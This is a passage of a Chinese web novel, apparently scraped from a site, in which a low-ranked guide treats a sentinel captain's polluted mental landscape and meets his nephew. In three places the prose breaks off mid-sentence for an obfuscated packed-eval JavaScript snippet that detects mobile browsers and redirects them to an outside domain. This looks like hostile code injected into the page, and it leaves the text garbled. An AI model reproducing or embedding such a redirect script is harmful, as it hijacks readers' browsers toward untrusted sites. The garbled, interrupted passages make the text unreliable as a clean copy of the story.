通常、两个S+哨兵的全力对轰，堪比微缩核弹现场。无论是圣所、还是白塔，能对陆烬这个级别的哨兵造成威胁和伤害的，屈指可数。 会是谁？ 他向你的方向微微探身，却又克制的后退了半步，但那股干燥冷冽的松塔木香更浓了。 你后知后觉，咦？难道是受伤导致的，敏感期提前？ “今天下午，紧急预约，劳驾您再为我做一次深度疏导。” “单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085681|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。” 他冲你微微颔首，便表示要结束话题。 “慢着！” 你喊住他，面无表情的拒绝：“如果是受伤导致的信息素失控，那样的深度修复不是我这样一个C级向导能完成的，还请您预约更高级别的专属向导。” 是的，汪汪队长是塔里有配备专属向导的，更别提出自陆家嫡系，即便在白塔这样以向导权优先的制度下，他也是有特权享受最高规格的医疗待遇。 仿佛早就料到你会如此说，陆烬薄唇微启，声音平稳无波：“积分，按你最高单人疏导标准的十倍结算。” “并且会严格按照与您签署的‘无接触治疗医疗条款’，没有肢体接触、没有体|液接触、不做深度精神链接。” “我说话算话，以信誉担保，请您放心。” “还有，”他深深的望着你，嗓音低沉：“我没有专属向导，在见到你之后，就把家里分配过来的向导遣回了中央海。白塔资源不足，在我拒绝后，也没有勉强过我一定要按条约配齐所有的队长待遇。” “况且，”他顿了顿，冷白的脸颊浮现一抹红晕，刺激的松塔香蓦然在空中炸翻，低沉的大提琴音色弹奏出几个艰涩的音符：“三年前与您签订协议之后，我便没找过其它向导，并不奢望……但我会为您保持单向的忠贞，这是我个人的心意，请您知悉。” 听完这么一大串话，你简直目瞪口呆。 站在原地，成了石像。 啊、不，这绝对不是你认识的陆烬！这货是被什么乱七八糟的东西附身了吗？ 前一秒还气势汹汹的用躁动的信息素挑衅着你，浑身上下一副压抑、却又亟待暴力发泄的模样。 下一秒又突然说出那样……的话。 “那么，您同意了吗？十倍积分，预约您下午的单人疏导。” “啊~” 你俩就这么傻愣愣的互相望着，都不合时宜的顿了一顿。 低沉优雅的大提琴弦音颤了一颤，轻咳了一声、然后深邃的棕眸中渐渐浮现出一丝无法掩饰的笑意。 “好的，很高兴您同意了。那么，下午三点半，专属治疗室见。” “哦，好。” 如同来时那么突然，走得也很突然。 什么情况啊？！ 你用力敲敲头，实在没想明白。 算了，敷衍到剧情线开始就好了，作为重要的剧情人物，陆烬当然有自己的命定之番。 命运的吸引是强大且无法抗拒的，到时候就由不得他。 无论此刻他说了什么，都将如风散。 你抬头眯眼看了看刺目的正午阳光，议事厅的主楼高耸入云，不远处停机坪上，运输艇、侦查战机等繁忙起降。 你隐隐嗅到了战争开始的前奏。 这个世界的正式剧情—— ‘第二卷’ 就要开启了吗？ 11. 黏人狗狗 * 下午三点半，治疗室。 你提前到了十分钟，百无聊赖地瘫在唯一还算柔软的沙发上，手指有一下没一下地戳着治疗箱的硬壳。空气里弥漫着高效清洁剂残留的、过于干净的柠檬味，混着点……嗯？是松塔木干燥冷冽的余味？ 你皱了皱鼻子。陆烬的信息素残留？看来他之前在这里待过，而且情绪波动不小。 门锁轻响，你懒洋洋抬眼。 陆烬走了进来，他换回了近卫队深灰色的标准作训服，更衬得身姿挺拔如松。冷白的面容在治疗室柔和的灯光下少了几分议事厅前的凌厉，却多了几分沉静的压迫感。 他反手关上门，动作带着点不易察觉的滞涩，像绷紧的弦。 “邵向导。”他声音低沉，比广场上时更哑了几分，目光沉沉地落在你身上，像被什么东西黏住了。露出一小截冷白的脖颈，喉结随着吞咽的动作上下滚动了一下。 “陆队长，请坐。”你指了指治疗椅，尽量让语气保持专业客服水准，“时间宝贵，我们开始？” 他依言坐下，脊背挺得笔直，双手搁在扶手上，骨节因为用力而微微泛白。那份属于精英队长的强大自制力还在，但你能感觉到平静海面下的汹涌暗流——躁动、压抑，甚至……一丝不易察觉的委屈？ 错觉吧。你甩甩头，把“委屈”这种离谱的形容词甩出脑海。大概是圣所那些鸟人把他气狠了，伤也处理得不够彻底。 你戴上特制的隔绝手套，走到他面前，例行公事般询问：“需要束缚器吗？或者，您自己控制？”这是你们的常规流程。陆烬一向自律到刻板，从不需要外力束缚。 他深棕色的瞳孔锁着你，喉结又滚动了一下，声音艰涩：“……不用。” “好。”你不再废话。食指隔着手套，轻轻点在他眉心。熟悉的流程，熟悉的开场。你阖上眼，精神力如溪流般探出。 然而，甫一接触，你就被一股狂暴混乱的浪潮猛地冲撞！ 轰——！ 不再是往日那片秩序井然、透着铁血纪律感的松林雪原！ 眼前的精神图景如同被飓风肆虐过！参天的松木东倒西歪，枝干断裂，积雪被染上大片大片粘稠、散发着不祥气息的暗金色污迹，如同腐败的脓血！空气中弥漫着刺鼻的硫磺与圣百合混合的怪味，那是圣所力量侵蚀留下的印记。 更糟糕的是，原本精神图景核心处，那只象征着陆烬意志、训练有素、威严沉静的杜宾犬精神体，此刻正焦躁地在一片狼藉的林地间疯狂刨地、低吼。它的皮毛不复油亮，沾染着同样的暗金污迹，双眼赤红，獠牙毕露，喉咙里发出威胁的呜咽，对着虚空——或者说是对着图景中残留的圣所精神污染源——狂吠不止。它周身散发的狂躁与攻击性，几乎要冲破图景的界限。 你心头一凛。这伤……比陆烬轻描淡写说的要严重得多！圣所那帮鸟人下手真黑！难怪S+向导的群体治疗也只是表面愈合。这种深植于精神图景核心的污染，带着强烈的侵蚀性和精神干扰，普通安抚根本无效，反而会刺激污染源反扑。 陆烬能维持表面的冷静到现在，简直是意志力的奇迹。但显然，也快到极限了。 “情况有点麻烦，陆队长。”你睁开眼，指尖依旧抵着他眉心，语气严肃了几分，“污染源扎根很深，带有强烈的精神干扰。我的疏导会……比较粗暴。” 他闭着眼，眉头紧锁，额角渗出细密的汗珠，顺着冷峻的侧脸线条滑落。听到你的话，他只是从喉间挤出一个压抑的单音：“嗯……信你。” 行吧，金主爸爸都发话了。 你深吸一口气，不再犹豫。精神图景中的峡谷溪流瞬间化作奔腾的洪涛，带着万钧之力，强势地冲进那片混乱的松林！ 哗啦——！ 蕴含着风水木本源力量的“天之瀑”无差别地冲刷而下！所过之处，被污染的暗金积雪在嗤嗤作响中蒸发、消融！那些倒伏断裂的松木被狂暴的水流连根拔起、卷走！ 这是毁灭，也是新生。只有彻底粉碎被污染的部分，才能为重建干净的图景打下基础。 你的力量霸道地践踏过混乱的图景碎片，无视那些属于陆烬过往的、可能珍贵也可能痛苦的记忆画面，目标明确——直指核心污染源，以及那头濒临失控的杜宾犬！ 剧烈的冲击反馈到现实中。 “呃……！”陆烬猛地绷紧了身体，喉咙里溢出痛苦的闷哼。束缚带下的肌肉贲张如铁，额角的汗珠大颗滚落，浸湿了鬓角。他死死咬着下唇，尝到了铁锈味，才勉强压下那声痛呼。 你能“感觉”到他的痛苦，那源于精神图景被强行撕裂、冲刷的剧痛。但这没办法，不破不立。你只能加快速度，力求速战速决。 就在你的“天之瀑”即将冲击到核心区域，触及那头狂躁杜宾犬的瞬间—— 异变陡生！ 那头赤红着双眼的杜宾犬，似乎感应到了你熟悉的气息（毕竟你撸过它本体很多次），它猛地停止了对着污染源的低吼，竟然调转方向，朝着你精神力量涌入的“入口”方向，不顾一切地狂奔而来！ 它冲破了混乱的水流，无视了被冲刷的痛苦，眼中赤红稍褪，竟流露出一种近乎……委屈和依赖的急切？！ 现实中的陆烬，身体猛地一颤！ 原本只是抵在你指尖的额头，骤然向前一倾！沉重的头颅失去了支撑般，重重地、带着滚烫汗湿的温度，抵在了你的肩膀上！ “！！！”你浑身一僵。 浓烈到几乎化为实质的松塔木冷香混合着白兰地的醇厚，如同风暴般将你席卷！这不再是广场上那种带有侵略性的威慑，而是一种……溺水者抓住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现实中的陆烬，被束缚带固定在椅子上，胸膛剧烈起伏，汗水浸透了昂贵的西装衬衫。他睁开眼，那双深棕色的眼眸此刻蒙上了一层混乱的水雾，残留着未褪的痛苦和某种……被强行打断的、茫然又深沉的渴望。他定定地看着近在咫尺的你，眼神失焦了一瞬，随即像是被烫到般，猛地别开了脸。耳根后，一片惊人的、窘迫的赤红迅速蔓延开来。 空气死寂。 只剩下他粗重压抑的喘息，和束缚装置低微的嗡鸣。 你面无表情地收回点在他眉心的手指，揉了揉被撞得有点发麻的肩膀，又低头看了看自己被抓皱了一点的衣领。 然后，你抬眼，看向椅子上那个狼狈不堪、羞愤欲死（你猜的）的S+哨兵队长，扯出一个标准的、带着点咬牙切齿意味的职业假笑： “陆队长，‘无接触’条款，维修费得加钱。” 12. 黏人狗狗 * 治疗室内，空气凝滞得能拧出水来。 束缚装置的嗡鸣是唯一的背景音。 陆烬被死死地禁锢在冰冷的合金椅上，昂贵的西装衬衫被汗水浸透，紧贴着贲张又僵硬的肌肉线条。他别着脸，下颌线绷得像要断裂，耳根后那片惊人的赤红一路蔓延到脖颈，没入松开的领口。深棕色的眼眸紧闭着，浓密的睫毛在眼下投出一小片阴影，微微颤动，泄露着主人极力压抑的羞愤与混乱。 你能清晰地“感觉”到他精神图景中那头被无形力量拽住的杜宾犬，正发出不甘又委屈的低呜，四爪徒劳地扒拉着被“天之瀑”冲刷得一片狼藉的雪地。 “……”你揉了揉被撞得有些发麻的肩膀，又低头看了看被抓皱的衣领，最后将目光落回椅子上那个狼狈不堪的S+哨兵身上。 职业假笑有点挂不住了。刚才那一下撞得可真结实。 空气里，属于陆烬的松塔木冷香被浓烈的汗味和未散的、带着圣所特有腥甜感的暗金污染气息搅得浑浊不堪，还掺杂着一丝……因你明显抗拒而生的、微不可查的苦涩？ 你叹了口气。积分诚可贵，小命价更高。真要被一个失控的S+哨兵强行“深度接触”了，再多的积分也买不回清净。更何况，你讨厌麻烦，尤其是这种带着强烈情感黏连的麻烦。 “陆队长，”你开口，声音带着点刚经历“袭击”后的疲惫和冷淡，“看来圣所那帮鸟人给您留下的‘纪念品’，后劲比想象中猛。强行按流程走，风险太高，我怕我这小身板扛不住您下一次的‘情不自禁’。” 陆烬的身体几不可查地僵了一下，紧闭的眼睫颤抖得更厉害了。 “治疗方案需要调整。”你走到治疗箱旁，拿出几支高效精神安抚剂和浓缩营养液，动作麻利地调配进一个便携注射器里。“深度冲刷暂停。先用这个，每日三次，肌肉注射。它能暂时压制污染源活性，稳定您的精神图景，也……降低您对特定向导信息素的过度渴求反应。” 你将注射器“啪”地一声放在他手边的治疗台边缘，金属碰撞声清脆刺耳。 “等您什么时候，”你顿了顿，意有所指地扫了一眼束缚带，“能完全控制住自己，确保不会再发生任何‘协议外’的肢体接触，我们再谈后续的污染清除。至于‘维修费’……”你扯了扯嘴角，“等您彻底好了，按实际损耗，十倍结算。现在，请您的副官或者亲卫来领人吧。” 说完，你不再看他，收拾好自己的治疗箱，头也不回地拉开治疗室的门，走了出去。 门在身后合拢，隔绝了那令人窒息的松木香与压抑风暴。你长长吐出一口浊气，感觉外面的空气都清新了不少。只想找个没人的地方瘫一会儿，安抚一下受惊的小心灵和可怜的肩颈。 你溜溜达达地朝着C区向导公共休息区走去。那里有还算舒服的懒人沙发，还有免费供应的、味道寡淡但能补充能量的合成维生素饮料。更重要的是，远离那些荷尔蒙过剩、麻烦不断的哨兵——至少大部分时间是。 然而，今天休息区外围的绿化带旁，似乎不太平静。 远远地，就听见几声压抑的闷哼和粗鲁的嗤笑。几个穿着作战背心、肌肉虬结的哨兵围成一个圈，对着中间一个身影拳打脚踢。那身影蜷缩在地上，穿着灰扑扑的社区劳动服，手脚都戴着沉重的电子镣铐，脸上罩着一个只露出眼睛和嘴巴的黑色面罩，像个等待处决的囚犯。 被打的人一声不吭，只是护住要害，默默承受。雨水混合着泥浆溅在他身上，显得格外狼狈。周围路过的零星几个向导或工作人员，都目不斜视地匆匆走过，生怕惹上麻烦。 你皱了皱眉。废土世界，弱肉强食，白塔内部也并非净土。这种“教训”不守规矩新兵蛋子或者“处理”刺头的戏码，时有发生。你对此毫无兴趣，更不想多管闲事。麻烦，太麻烦了。 你脚步没停，打算像其他人一样绕过去。可就在你走近时，那几个施暴的哨兵像是感应到了什么，动作猛地一顿，齐刷刷地朝你看过来。其中一个刀疤脸，你有点印象，似乎是上次群体疏导时，被你rua得最狠、尾巴摇成螺旋桨的那只金毛的精神体主人？ 刀疤脸哨兵看到是你，脸上的凶狠瞬间收敛了大半，甚至带上了点不易察觉的……忌惮和讨好？他干咳一声，对同伴使了个眼色。几个哨兵悻悻地收了手，对着地上蜷缩的人又啐了一口，低声骂了句“晦气”，便勾肩搭背地迅速离开了。 你：“……”看来上次的群体疏导效果拔群？至少让他们记住了你这个能让他们“舒服”的向导，不敢轻易在你面前造次。 你瞥了一眼地上那个依旧蜷缩着的、戴着刑具的哨兵。雨水冲刷着他面罩上的污泥，露出的那双眼睛在湿漉漉的额发下，看不清情绪。你没有停留，径直走进了休息区。一个被惩罚的哨兵而已，不值得你浪费半点好奇心和同情心。 接下来的几天，你往返宿舍和办公室，总会经过那片绿化带。而那个戴着沉重镣铐和面罩的身影，似乎永远在那里，进行着枯燥繁重的社区劳动——搬运废弃建材、清理被污染的土壤、修剪那些在废土辐射下长得奇形怪状的观赏植物。 有时你会看到他累得直不起腰，靠在残破的墙边喘息；有时会看到他默默地吃着最廉价的合成营养块，动作机械；更多的时候，是看到他被不同的哨兵刁难、推搡，甚至故意将脏水泼到他身上。他依旧沉默，像个没有情绪的机器，只在无人的角落，那双被面罩遮住的眼睛，才会偶尔闪过一丝不易察觉的冷光。 你依旧目不斜视。只是每次路过，心里会默默吐槽一句：白塔的社区劳动，真是花样百出的折磨人。以及，这雨，怎么还不停？ 废土世界的雨，终于还是来了。不是那种温柔的细雨，而是带着轻微腐蚀性的酸雨。灰黑色的雨幕倾盆而下，砸在金属地面和建筑上，发出滋滋的轻响，腾起淡淡的、带着铁锈和臭氧味的白烟。 你站在休息区的屋檐下，看着外面瞬间变得白茫茫一片的世界，有点发愁。从这里跑回宿舍楼，不过几百米，但这雨淋在身上，不仅皮肤会刺痛发红，衣服也会被腐蚀出细小的孔洞，更重要的是，那股子酸溜溜、混合着铁锈的怪味，能在身上残留好几天，挥之不去。你买的漂亮裙子！ 正犹豫着是咬牙冲过去，还是干脆在休息区将就一晚时，一个身影闯入了你的视线。 是那个戴刑具的哨兵。 他依旧穿着那身灰扑扑的劳动服，戴着沉重的电子镣铐和面罩，在瓢泼大雨中，艰难地拖拽着一个装满废弃零件的沉重推车。酸雨打在他身上，单薄的衣服迅速湿透，紧贴在精瘦却线条分明的身体上，蒸腾起带着腐蚀气息的白汽。他每一步都走得有些踉跄，镣铐在湿滑的地面上拖出刺耳的摩擦声。 他似乎没看到屋檐下的你，或者看到了也毫不在意，只是专注地、甚至有些固执地完成着他的“任务”。 就在这时，他脚下一滑，沉重的推车猛地歪斜，眼看就要翻倒！他低喝一声，用尽全力稳住车身，自己却失去平衡，重重地单膝跪倒在泥水里，溅起一片浑浊的水花。电子镣铐发出刺耳的警报红光。 他跪在那里，低着头，肩膀微微起伏，雨水顺着他湿透的头发和面罩边缘不断流下，整个人透着一种无声的狼狈和倔强。 你移开目光，心里没什么波澜。倒霉蛋而已。 然而，他却在这时，慢慢抬起头，透过雨幕，看向屋檐下的你。那双被雨水冲刷得格外清晰的眼睛——不再是之前的麻木或冰冷，而是带着一种奇异的、湿漉漉的感激？他开口了，声音透过面罩有些闷，却带着少年人特有的清亮和真诚： “谢谢您……好心的向导小姐。” 你一愣。 “那天……是您路过之后，那些欺负我的人，就再也没来过了。”他努力让自己的声音听起来轻松点，甚至带上了一丝小小的雀跃，“真的！这几天干活都清净多了！谢谢您！” 你：“……”原来他把那几个哨兵的收敛，归功于你了？这可真是个美丽的误会。你张了张嘴，想解释跟你没关系，但看着他那双在雨水中显得格外真诚明亮的眼睛（虽然下半张脸被面罩遮着），又把话咽了回去。算了，麻烦。 他似乎想站起来，但沉重的镣铐和湿滑的地面让他试了两次都失败了。他索性放弃了，就那么单膝跪在泥水里，仰头看着你，雨水顺着他挺直的鼻梁滑落。 “雨太大了，还有腐蚀性。”他语气关切，带着点自然而然的熟稔，“您是要回宿舍吗？这段路跑过去，衣服肯定毁了。我……我背您过去吧？就当感谢您！” 背你？你看着他一身的泥水、沉重的镣铐，还有那湿透后紧贴在身上、勾勒出明显肌肉轮廓却更显单薄的劳动服，果断摇头：“不用，谢谢。” 开什么玩笑！让他背？先不说他身上脏不脏，那电子镣铐硌不硌人，光是被一个陌生男性哨兵背着穿过雨幕……这画面想想就麻烦！万一被哪个八卦的看见了，流言蜚语能烦死你。 他似乎有些失望，那双亮晶晶的眼睛黯淡了一瞬，但还是努力弯了弯，像是在笑。 就在你准备咬牙冲进雨幕的瞬间—— “呜——汪！” 一声清脆又带着点傻气的狗叫声穿透雨幕！ 紧接着，一道矫健的白色身影如离弦之箭般从绿化带的阴影里窜出，几个起落便冲到了屋檐下！雨水在它周身半米处仿佛遇到了无形的屏障，自动滑开！它稳稳停在你面前，甩了甩蓬松厚实、几乎占了身体一半大的尾巴，带起一片细密的水珠，在昏暗的光线下，那身毛色呈现出一种奇异的、近乎银白的亮色，只有耳朵尖和背部带着些浅灰的斑纹。湿漉漉的黑鼻子嗅了嗅，一双冰蓝色的眼睛圆溜溜的，透着十足的憨厚和……热情？ 这是一只体型偏大的、毛量极其惊人的白化（或者说银白）哈士奇！ 它歪着头，吐着粉红的舌头，哈哧哈哧地看着你，尾巴摇得那叫一个欢快，螺旋桨似的，把周围的雨水都扫开了一个小圈。 毛茸茸！ 超大只！ 会自己挡雨！ 你感觉自己的理智在毛茸茸的诱惑面前，正在经历一场惨烈的溃败！眼睛不由自主地黏在了那身蓬松柔软、看起来就手感绝佳的银白色长毛上！上次群体疏导时rua的那群狗狗里，好像没有这么一只漂亮又特别的！ “大白！”跪在泥水里的哨兵唤了一声，语气带着宠溺和无奈，“别吓到向导小姐。” 名为“大白”的哈士奇充耳不闻，又朝你凑近了一步，冰蓝色的眼睛里满是期待，甚至用那湿漉漉、凉丝丝的鼻子轻轻拱了拱你垂在身侧的手。 冰凉柔软的触感，带着一丝雨水的清新，瞬间击溃了你最后的防线！ 什么麻烦！什么流言！能rua到这么极品的毛茸茸，淋点酸雨算什么！衣服烂了也值！ 你的嘴角不受控制地向上扬起，眼神发亮。几乎是本能地，你朝着泥水里的哨兵伸出了手。 他愣了一下，随即眼中爆发出惊喜的光芒！他立刻伸出带着泥污和雨水的手，稳稳地托住了你的手掌。他的手很凉，骨节分明，带着长期劳作的薄茧，托举的动作却异常沉稳有力。 你借着他的力道，小心翼翼地抬脚，踩上了哈士奇宽阔厚实、毛茸茸的背脊。触感……简直像踩进了最蓬松柔软的云朵里！还带着大狗狗温热的体温！ “大白，稳一点！”哨兵在下面叮嘱。 “呜！”哈士奇欢快地应了一声，稳稳地站了起来。 它周身的“避雨屏障”恰到好处地将你笼罩在内。你坐在它厚实柔软的背毛上，感受着身下大狗平稳有力的步伐，伸出手，试探性地摸了摸它脖颈处最厚实的那圈鬃毛。 入手的感觉——微凉，顺滑，蓬松得像顶级羽绒，又带着大型犬特有的韧性和生命力！你忍不住多揉了两把，指尖陷入那丰厚的长毛里，舒服得你眯起了眼。哈士奇似乎很享受，喉咙里发出满足的呼噜声，尾巴摇得更欢了，像一面迎风招展的小旗子。 酸雨在无形的屏障外哗哗落下，形成一道朦胧的水帘。你坐在毛茸茸的“移动避风港”上，穿过雨幕，朝着宿舍楼走去。湿冷的空气仿佛都被隔绝在外，只剩下掌心温暖蓬松的触感，和身下大狗规律起伏带来的安稳。 烦心事似乎都被这场大雨暂时冲刷掉了。 “谢谢你啊，”快到宿舍楼下时，你心情颇好地拍了拍大哈士奇的脖子，低头对着依旧跟在旁边、浑身湿透却似乎毫不在意、反而眼睛亮晶晶看着你的哨兵说道，“还有你的‘大白’，它真棒。” 哨兵仰着脸，雨水顺着他面罩的边缘流下，但他露出的那双眼睛却笑得弯弯的，像盛满了星光，灿烂又真诚。他用力点头，声音隔着雨幕也格外清亮：“嗯！大白最喜欢被人夸了！它也很喜欢您！向导小姐，我叫宋梁！宋朝的宋，栋梁的梁！您叫什么名字？” 哈士奇适时地“汪呜”了一声，大尾巴甩成了真正的螺旋桨，带起一小片旋风。 宋梁？你记下了这个名字。一个名字阳光，精神体也这么讨喜（虽然品种以“二”闻名）的哨兵。 “邵音。”你简单回了自己的名字，从哈士奇背上滑下来，再次揉了揉它的大脑袋，“谢了，宋梁。雨大，你也快回去吧。”说完，你转身小跑进了宿舍楼，没再回头。 身后，雨幕中，宋梁站在原地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋梁的眼睛瞬间更亮了，像是得到了最高褒奖：“是吧是吧！我也觉得大白最棒了！姐姐喜欢就好！下次……”他话还没说完，眼神忽然越过你，看向食堂入口的方向，脸上的笑容微微一滞，随即又扬起了更大的、甚至带着点刻意挑衅意味的弧度。 一股熟悉的、带着冷冽警告意味的松塔木香，如同无形的寒流，瞬间席卷了你们这一小片区域。 你后背的汗毛都立起来了。不用回头也知道是谁。 陆烬。 他依旧是一身笔挺的深色西装，一丝不苟，仿佛几天前治疗室里那个狼狈失控的男人只是幻觉。他迈着长腿，径直朝你们这桌走来，目标明确。冷峻的脸上没什么表情，但那双深棕色的眼眸，如同精准的狙击镜，先是扫过宋梁搭在你餐盘边缘、显得过分亲昵的手指，随即又沉沉地落在你脸上——更确切地说，是落在你几天前被宋梁那只“大白”蹭过、仿佛还残留着蓬松触感的手指上。 空气仿佛凝固了。周围嘈杂的用餐声似乎都低了下去。 宋梁像是没感觉到那几乎凝成实质的压迫感，反而笑嘻嘻地，甚至带着点夸张的惊讶，对着走来的陆烬扬声道：“哎呀！这不是我亲爱的小舅舅吗？今天怎么屈尊降贵来基层食堂吃饭了？太阳打西边出来了？” 小舅舅？！ 你拿着勺子的手，僵在了半空。猛地抬眼看向宋梁，又难以置信地看向已经走到桌边、气场迫人的陆烬。 陆烬的脸色，在听到“小舅舅”三个字的瞬间，肉眼可见地阴沉了下去，下颌线绷得像块冷硬的石头。他直接无视了宋梁，深棕色的眼眸只锁定你，那里面翻涌着复杂的情绪——有未散的冷意，有一丝不易察觉的疲惫（是伤势未愈？），还有一种更深沉的、被强行压抑的东西。他开口，声音低沉沙哑，完全无视了旁边笑容灿烂的宋梁，只对你说道： “邵向导，该进行下一次治疗了。”他刻意加重了“治疗”两个字，目光沉沉，带着不容置疑，“‘维修’需要按时进行，效果才好。” 宋梁脸上的灿烂笑容丝毫未变，但那双清澈的眼底，冰冷却如同实质般蔓延开来。他搭在桌沿的手指，指尖微微陷进了合成材料的桌面里。他看着陆烬，又看了看你，嘴角咧开，露出那两颗标志性的小犬牙，语气天真又带着刺： “哦？治疗啊？小舅舅你受伤了吗？严不严重呀？要不要我也去帮忙？我最会‘照顾’人了。”他刻意拖长了“照顾”两个字，尾音上扬，带着一种让人头皮发麻的甜腻。 那只一直安静趴在宋梁脚边、伪装成憨厚哈士奇模样的精神体“大白”，此刻也抬起头，冰蓝色的瞳孔深处，一抹难以察觉的、针尖般的猩红幽光，一闪而逝。它喉咙里发出一声极其低沉的、近乎无声的呜噜，盯着陆烬，像在评估着猎物。 陆烬的目光终于吝啬地分给了宋梁一丝，冰冷如刀锋。他周身的信息素骤然变得更加凛冽、更具压迫性，如同暴风雪前的松林。他没有回应宋梁的挑衅，只是再次看向你，声音压得更低，带着一种近乎固执的坚持和……一丝难以察觉的、笨拙的示弱？ “邵音。”他第一次在公开场合直呼你的名字，沙哑的嗓音擦过耳膜，“时间到了。” 你看着眼前这诡异又充满火药味的一幕，一个头两个大。陆烬的伤和污染需要处理，这是事实，积分也确实诱人。但宋梁……这个突然冒出来的、黏人又阳光的“大侄子”？还有他那只会挡雨的可爱哈士奇？ 麻烦！天大的麻烦！ 向哨名门之间的势力倾轧、舅甥之间明显不对付的诡异气氛……这简直是在你只想苟到结局的平静生活里，扔下了一颗深水炸弹！你瞬间觉得碗里寡淡的合成肉更加难以下咽了。 你放下勺子，面无表情地站起身。 “知道了，陆队长。我回去拿治疗箱，治疗室见。”你对着陆烬公式化地说完，又转向笑容依旧灿烂、眼神却冷下来的宋梁，点了点头，“宋梁，你慢慢吃。” 语气平淡，带着明显的疏离。说完，你端起几乎没动过的餐盘，毫不犹豫地转身离开。仿佛身后那两个气场碰撞、一触即发的哨兵，只是两个无关紧要的路人甲。 宋梁脸上的笑容淡了些许，看着你毫不留恋的背影，又看了看脸色阴沉如水的陆烬，嘴角那两颗小犬牙在灯光下，白得晃眼，也……冷得渗人。 “啧，”他轻声自语，带着点遗憾又玩味的调子，“姐姐……好像被吓跑了呢。小舅舅，都怪你太凶了。” 陆烬没有看他，只是盯着你迅速消失在食堂门口的背影，深棕色的眼眸深处，那强行压抑的风暴，似乎又有了失控的征兆。他指关节捏得咔咔作响，最终只是冷哼一声，转身大步离开，留下一个裹挟着寒意的背影。 麻烦的序幕，才刚刚拉开一角。而你，只想离可能会带来麻烦的这舅甥俩越远越好。 13. 黏人狗狗 * 治疗室的门在你身后轻轻合拢，隔绝了食堂里那令人窒息的对峙和松木冷香。你靠在冰冷的金属门板上，长长吁了口气。 麻烦，真是天大的麻烦！ 陆烬的伤要治，积分要赚，但掺和进向哨名门内里的纠葛？算了吧，你只想原地遁走。 生活还得继续，房贷还没还清，积分还得努力挣。 你认命地走向治疗箱，开始准备。 当陆烬再次踏入治疗室时，他已恢复成那个冷峻自持的护卫队长模样，西装笔挺，一丝不苟。只是深棕色眼眸深处的疲惫和压抑的风暴，比几天前更加浓重。他没有提食堂的插曲，你也乐得装傻。 十倍积分的诱惑下，流程重启。 你戴上手套，指尖隔着一层特制材料，轻轻点在他眉心。这一次，你更加谨慎，精神触角如同最精密的探针，缓缓沉入那片被暗金污染侵蚀的山林。 情况比预想的更糟。安老师的药剂压制了污染源的活性，让表层的混乱平息，但核心处，那些粘稠的暗金色如同跗骨之蛆，缠绕在精神图景最底层的“根”上。 强行冲刷，不仅会带给陆烬难以承受的痛苦，更可能撼动他精神世界的基石。 杜宾犬的精神体感应到你的到来，立刻从一片狼藉的雪地中站起。它不再像上次那样狂暴，但那双深棕色的兽瞳里充满了焦躁、痛苦和一种……被无形枷锁束缚的沉重感。 它踱步到你精神触角幻化的虚影旁，喉咙里发出低低的呜咽，带着浓浓的依赖和委屈。 你“看”得更清楚了。这只杜宾犬，并非天然形态。 它的双耳，并非自然垂落或警惕竖立，而是被某种无形的力量强行修剪、塑造成一种标准而凌厉的尖角形态，边缘残留着细微的、能量化的陈旧伤痕，这是象征着警觉与服从的“剪耳”。 更触目惊心的是它的尾部——并非杜宾犬标志性的自然短尾，而是在靠近根部的位置被彻底截断，只留下一个突兀的、覆盖着暗金色污染脓痂的断口。断口周围的皮毛纠结，能量脉络扭曲虬结，形成了一个个细小的、不断搏动并散发出刺痛与烦躁感的神经瘤。 这绝非战斗损伤，而是……人为的、在精神体幼年甚至诞生之初就施加的“规训”。一种将强大的量子兽，强行修剪、塑造成符合某种冰冷“标准”的残忍行为。 如果说杜宾犬的“剪耳”还能说是改善垂落的形态，不算致命的修剪能给犬带来更好的听力，更冷峻的审美形态，但是……断尾还是过于残忍，尽管、尽管已经有无数的事实证明，断尾的杜宾犬并不能在体能或者捕猎表现中比不断尾的更好，断尾只是一种陋习。满足所谓“纯血杜宾”优雅与力量平衡的体态象征。 从内心深处来说，你很鄙夷这种行为，在你眼中，毛茸茸的天然形态就是最棒的，任何生物的自然形态都有自己的可爱之处，所谓‘品种’‘血缘’‘标识’都是陋习。 但你无意去评判他人的世界。 你集中精力，全然投入在当下的治疗中。毕竟，高积分的单人治疗，你要对得起客户付出的等价值才行。 你并没有手下留情。 现实中，陆烬猛地绷紧了身体，额角瞬间渗出冷汗，喉咙里压抑着一声痛苦的闷哼。他的精神图景因你的探查而剧烈波动，那些被深埋的、属于“剪耳”和“断尾”的痛苦记忆碎片被强行翻搅上来，与圣所的污染混杂在一起，形成更猛烈的精神风暴！ “放松，陆队长。”你沉声道，精神触角散发出温和但坚定的抚慰波动，如同无形的屏障，暂时隔绝了那些翻腾的痛苦记忆对杜宾犬的冲击。 “让我看看你的‘根’。” 杜宾犬在你的安抚下稍稍平静，但它将硕大的头颅深深埋进你的虚影臂弯里，身体微微颤抖，断尾处的神经瘤搏动得更快了，散发出尖锐的刺痛信号。 你轻轻抚摸着它冰冷光滑的头颅，指尖避开那被修剪得过分尖锐的耳尖，声音带着一丝自己都未察觉的冷意：“‘剪耳’的时候，一定很疼吧？那么小的时候……” 